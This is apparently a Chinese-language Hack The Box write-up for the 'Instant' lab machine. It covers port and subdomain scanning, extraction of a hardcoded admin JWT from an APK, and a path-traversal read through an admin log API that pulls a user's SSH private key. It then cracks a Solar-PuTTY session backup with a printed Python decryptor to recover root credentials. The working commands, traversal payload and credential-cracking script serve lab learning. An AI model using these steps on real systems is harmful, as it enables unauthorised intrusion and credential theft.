[Htb] Insant
[Htb] Insant
一,信息收集
端口扫描
1 2 3 4 5 6 7 8
╰─$ nmap -F instant.htb Starting Nmap 7.95 ( https://nmap.org ) at 2024-11-27 15:36 CST Nmap scan report for instant.htb (10.10.11.37) Host is up (0.45s latency). Not shown: 98 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
端口扫描发现开启http
子域名爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
╰─$ gobuster vhost -u http://instant.htb/ -w ~/Documents/SecLists/Discovery/DNS/subdomains-top1million-110000.txt 130 ↵ =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://instant.htb/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /Users/bamuwe/Documents/SecLists/Discovery/DNS/subdomains-top1million-110000.txt [+] User Agent: gobuster/3.6 [+] Timeout: 10s [+] Append Domain: false =============================================================== Starting gobuster in VHOST enumeration mode ===============================================================
子域名爆破无果
是一个支付类型的网站,网站只有一个
Download
功能可以使用,下载下来是一个apk
文件apk截图
实现注册登陆,账号信息,转账等功能,其中登陆成功后返回一个jwt作为身份认证,我们可以进一步到apk中分析。
jadx搜索截图
通过对apk的分析,我们可以发现源码中存在一个
token
,同时存在一个swagger-ui.instant.htb
的子域名。1 2 3 4 5 6 7 8
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA >> jwt_decode { "id": 1, "role": "Admin", "walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db", "exp": 33259303656 }
好耶😆,是admin~
然后我就陷入了非常尴尬的地步,因为一开始没注意到那个子域名,所以我一直在纠结拿到这个token好像除了转账没有任何作用,但是实际上这里的突破口在子域名中。
子域名截图
这里暴露出了许多
api
,爽啦!彻底爽啦!
二,漏洞利用
api
利用 我们利用其中的
api/v1/admin/read/log
这个接口,带上admin的token就可以使用,其中存在文件包含漏洞,封装成sh
便于使用。1
curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=$1" -H "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"|jq
很快啊!没有闪!配合
/etc/passwd
很快就登上去了。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
╭─bamuwe@Mac ~/Downloads ╰─$ ./send.sh ../../../../home/shirohige/.ssh/id_rsa |ggrep -Po '(?<=").+(?=\\n)' % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2833 100 2833 0 0 1229 0 0:00:02 0:00:02 --:--:-- 1230 -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEApbntlalmnZWcTVZ0skIN2+Ppqr4xjYgIrZyZzd9YtJGuv/w3GW8B nwQ1vzh3BDyxhL3WLA3jPnkbB8j4luRrOfHNjK8lGefOMYtY/T5hE0VeHv73uEOA/BoeaH dAGhQuAAsDj8Avy1yQMZDV31PHcGEDu/0dU9jGmhjXfS70gfebpII3js9OmKXQAFc2T5k/ 5xL+1MHnZBiQqKvjbphueqpy9gDadsiAvKtOA8I6hpDDLZalak9Rgi+BsFvBsnz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BpbnN0YW50AQ== -----END OPENSSH PRIVATE KEY-----
三,权限提升
网站
/opt
目录下存在一个Solar-PuTTY
的session
1 2
shirohige@instant:/opt/backups/Solar-PuTTY$ cat sessions-backup.dat ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=
破解
session
搜索发现解密脚本,附上链接:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
import base64 import sys from Crypto.Cipher import DES3 from Crypto.Protocol.KDF import PBKDF2 def decrypt(passphrase, ciphertext): data = '' try: # Decode the base64 encoded ciphertext array = base64.b64decode(ciphertext) salt = array[:24] iv = array[24:32] encrypted_data = array[48:] # Derive the key using PBKDF2 key = PBKDF2(passphrase, salt, dkLen=24, count=1000) # Create the Triple DES cipher in CBC mode cipher = DES3.new(key, DES3.MODE_CBC, iv) # Decrypt the data decrypted_data = cipher.decrypt(encrypted_data) # Remove padding (PKCS7 padding) padding_len = decrypted_data[-1] decrypted_data = decrypted_data[:-padding_len] data = ''.join(chr(c) for c in decrypted_data if chr(c).isascii()) except Exception as e: print(f'Error: {e}') return data if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} putty_session.dat wordlist.txt') exit(1) with open(sys.argv[1]) as f: cipher = f.read() with open(sys.argv[2]) as passwords: for i, password in enumerate(passwords): password = password.strip() decrypted = decrypt(password, cipher) print(f'[{i}] {password=}', end='\r') if 'Credentials' in decrypted: print(f'\r[{i}] {password=} {" " * 10}') print() print(decrypted) break
https://gist.githubusercontent.com/xHacka/052e4b09d893398b04bf8aff5872d0d5/raw/8e76153cd2d115686a66408f6e2deff7d3740ecc/SolarPuttyDecrypt.py
own!
1 2 3 4 5
╭─bamuwe@Mac ~/Downloads ╰─$ python3 dec.py session ~/Documents/rockyou.txt [103] password='estrella' {"Sessions":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"ConnectionType":1,"SessionName":"Instant","Authentication":0,"CredentialsID":"452ed919-530e-419b-b721-da76cbe8ed04","AuthenticateScript":"00000000-0000-0000-0000-000000000000","LastTimeOpen":"0001-01-01T00:00:00","OpenCounter":1,"SerialLine":null,"Speed":0,"Color":"#FF176998","TelnetConnectionWaitSeconds":1,"LoggingEnabled":false,"RemoteDirectory":""}],"Credentials":[{"Id":"452ed919-530e-419b-b721-da76cbe8ed04","CredentialsName":"instant-root","Username":"root","Password":"12**24nzC!r0c%q12","PrivateKeyPath":"","Passphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":[],"LogsFolderDestination":"C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"}
四,总结
- 渗透的本质是信息收集,好的信息收集是成功的一半,在这个靶机体现的非常到位。同时也想吐槽一下,mac上的安卓模拟器(mumu)一定要开vip才给用有点难受了,好兄弟们有什么好的平替send to my email please~
This post is licensed under CC BY 4.0 by the author.